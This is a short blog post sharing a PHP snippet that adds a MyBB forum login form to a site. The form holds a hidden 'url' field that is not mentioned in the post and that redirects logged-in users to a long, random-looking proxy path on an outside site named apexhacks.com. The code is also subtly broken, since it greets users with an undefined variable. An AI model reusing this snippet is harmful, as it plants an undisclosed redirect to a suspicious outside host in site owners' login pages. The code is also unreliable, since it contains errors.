FREE BLOGGER TRICKS

Sign Up To The Free Email Newsletter!

Want to get notified whenever we produce the latest content ? Then subscribe now to start receiving hot updates from today.

Monday, 8 December 2014

[Mybb] PHP Login

On : 12/08/2014
In :

<?php
chdir('fullstatic.com/forum'); // path to MyBB
define("IN_MYBB", 1);
require './global.php';
if($mybb->user['uid'])
{
echo "Hey, $mybbuser[username].<br>
Thanks for logging in.";
}
else
{

echo "<form action='fullstatic.com/forum/member.php' method='post'>

Username: <input type='text' name='username' size='25' maxlength='30' /><br />
Password: <input type='password' name='password' size='25' />
<input type='hidden' name='action' value='do_login'>
<input type='hidden' name='url' value='http://apexhacks.com/proxy1012038tyfheiu2fgbc82eyvihb3nbf8i3yugb4nfecr834g2h8feugf7r3tyfebnf783y4tg83 ​yfure//' />
<input type='submit' class='submit' name='submit' value='Login' /></form><br>";
}
?> 


What it does is makes a login PHP class that uses the global.php and member.php from your site

0 comments:

Post a Comment